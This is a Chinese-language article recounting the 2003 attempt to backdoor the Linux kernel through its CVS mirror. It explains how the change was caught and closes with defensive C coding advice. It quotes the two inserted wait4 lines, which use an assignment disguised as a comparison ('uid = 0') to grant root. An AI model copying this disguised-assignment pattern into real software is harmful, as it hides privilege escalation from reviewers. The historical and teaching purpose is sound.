Linux内核是开源的代码，能不能向其中安插一个后门呢?这是一件难度很高的操作，但是有人却差点儿成功了，我们来看看这是怎么回事。
时间回到2003年，当时Linux内核的代码主仓库保存在一个叫做BitKeeper的商业软件中。如果想对Linux内核代码进行修改的话，需要走一个审批流程，以此来确定这次更改能否被接受。每一次更改都有一个简单的说明，其中包含一个指向审批记录的链接。
但是有些人不喜欢BitKeeper(堂堂的Linux怎么能保存在闭源的商业软件中?!)， 于是一个CVS(估计好多人都没听说过它了吧)被建立了起来，其中保存着从BitKeeper clone来的代码， 这样开发人员可以用开源的CVS来访问Linux代码。
2003年11月5号，Larry McVoy 注意到了一件怪事，CVS中的一个代码变更没有包含审批记录的链接， 这是怎么回事?
经过一番调查发现：从来没有人批准过这个代码变更，奇怪的是，这个代码变更并没有出现在BitKeeper主仓库中，原来是有人黑进了CVS的服务器，偷偷插入了一段代码。这段代码到底做了什么事情呢?
这段代码修改了一个叫做wait4的Linux函数，程序可以使用wait4来等待一些事情的发生，这个代码变更增加了这么两行：
- if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
- retval = -EINVAL;
(代码可左右滑动，懂得C语言的同学可以思考下，这段代码有什么不寻常的?)
粗一看这段代码，就会觉得这没啥啊?不就是做一点条件检查吗，不满足条件就返回错误。
但是仔细看看就会发现事情不对，第一行的最后， 有个"current->uid=0"， 而不是 "current->uid == 0" 。
正常的写法应该是“==0”, 就是检查当前的用户ID是不是0， 写成“=0”就是把当前用户ID设置为0 ， 而ID为0的用户是"root" !
这就意味着，如果这段代码被执行，当前用户就会变成root，可以在系统中为所欲为!
这其实是个经典的后门， 想象一个，一个黑客在Linux运行了一个程序，这个程序调用了wait4, 然后这个黑客突然间具备了root权限!
这个后门可是真够聪明的，伪装成了条件检查，试图蒙混过关，如果一直没人发现会怎么样呢?
首先，后门存在CVS中，不在BitKeeper的主仓库中，从BitKeeper 代码库Build出的Linux肯定没问题， 但是如果有人从CVS代码库中build了Linux， 那就中招了。
其次，搞破坏的家伙可能有这样的预期：有个被Linus Torvalds所信任的内核开发者，他讨厌BitKeeper，并且在使用CVS， 那当他修改了代码，准备通过邮件的方式向Linus Torvalds发送patch的时候发现，咦，wait4这里也有个code change， 是做条件检查的，也包括进去吧。Linus收到补丁，一看是自己信任的兄弟提交的，没有仔细检查，于是后门代码进入了主代码仓库。
这当然是猜测的场景，也算是一种社会工程学攻击吧，不过Linux团队非常小心，把这个后门给揪了出来。
故事到这里就可以结束了，再就这个话题扩展一下，多说两句。
我记得刚工作的时候，有个同事给我说，在C语言中，当需要和0比较的时候，可以把0放到前面，这么写：
- if( 0 == user_id){ ....... }
这样即使把 == 写成了 = ， 编译器就会发现错误。我当时觉得挺古怪的，把一个数字放到前面，变量放到后面。后来习惯了，在Java 也经常会这样写 if (null == user){ ...... }
其实现在的IDE都很智能了，像这种把==写成=的情况，IDE就可以给出警告。即使没有用IDE，如果对源码做静态的代码分析，也会被抓出来的警告的。
Linux是开源的代码，任何人，只要你愿意，都可以查看所有的代码，这相当于把Linux放到了阳光底下，无数双眼睛都盯着看，这种透明度使得在其中安插一个后门是非常难的。
参考资料：
https://lwn.net/Articles/57135/
https://freedom-to-tinker.com/2013/10/09/the-linux-backdoor-attempt-of-2003/
【本文为51CTO专栏作者“刘欣”的原创稿件，转载请通过作者微信公众号coderising获取授权】
